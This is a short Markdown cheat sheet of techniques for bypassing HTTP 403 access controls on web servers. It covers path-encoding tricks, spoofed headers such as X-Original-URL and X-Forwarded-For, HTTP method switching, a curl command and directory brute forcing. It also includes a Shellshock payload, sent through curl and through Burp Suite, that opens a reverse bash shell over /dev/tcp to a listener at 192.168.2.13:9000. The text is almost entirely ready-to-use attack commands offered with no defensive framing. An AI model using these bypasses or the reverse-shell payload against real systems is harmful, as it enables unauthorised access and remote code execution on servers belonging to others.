39 lines
1.3 KiB
Markdown
39 lines
1.3 KiB
Markdown
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**How to bypass 403 Errors**
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**Technique number 1**
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- Appending `{%2e} or {%2f} { **/*, /./}` after the first slash
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- https://www.domain/DB = 403
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- https://www.domain/%2e/DB] =200
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- https://www.domain/./DB] =200
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**Technique number 2**
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- Adding headers to requests module.
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- Content-Length: 0
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- X-rewrite-url
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- X-Original-URL
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- X-Custom-IP-Authorization
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- X-Forwarded-For
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**Technique number 3**
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- Change the request method
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- GET → POST
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- GET → TRACE
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- GET → PUT
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- GET **→** OPTIONS
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**Technique number 4**
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- Using Curl
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- curl -i -s -k -X $’GET’ -H $’Host: account.domain.com’ -H $’X-rewrite-url: admin/login’ $’https://account.domain.com/'
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**Technique number 5**
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- Brute force sub directory from the 403 directory
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- Try using (wordlist/dirb/comon.txt)
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- Setup Netcat lisener
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- Inject parameters from Curl or Burp Suite
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- CURL ---> curl -A “() { :; }; /bin/bash -i > /dev/tcp/192.168.2.13/9000 0<&1 2>&1” http://192.168.2.18/cgi-bin/helloworld.cgi
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- Burp Suite ---> Change User-Agent: () { :; }; /bin/bash -i > /dev/tcp/192.168.2.13/9000 0<&1 2>&1
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- More info ---> https://hackbotone.com/shellshock-attack-on-a-remote-web-server-d9124f4a0af3
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**Technique number 6**
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- Kali linux tool ---> 403 bypass
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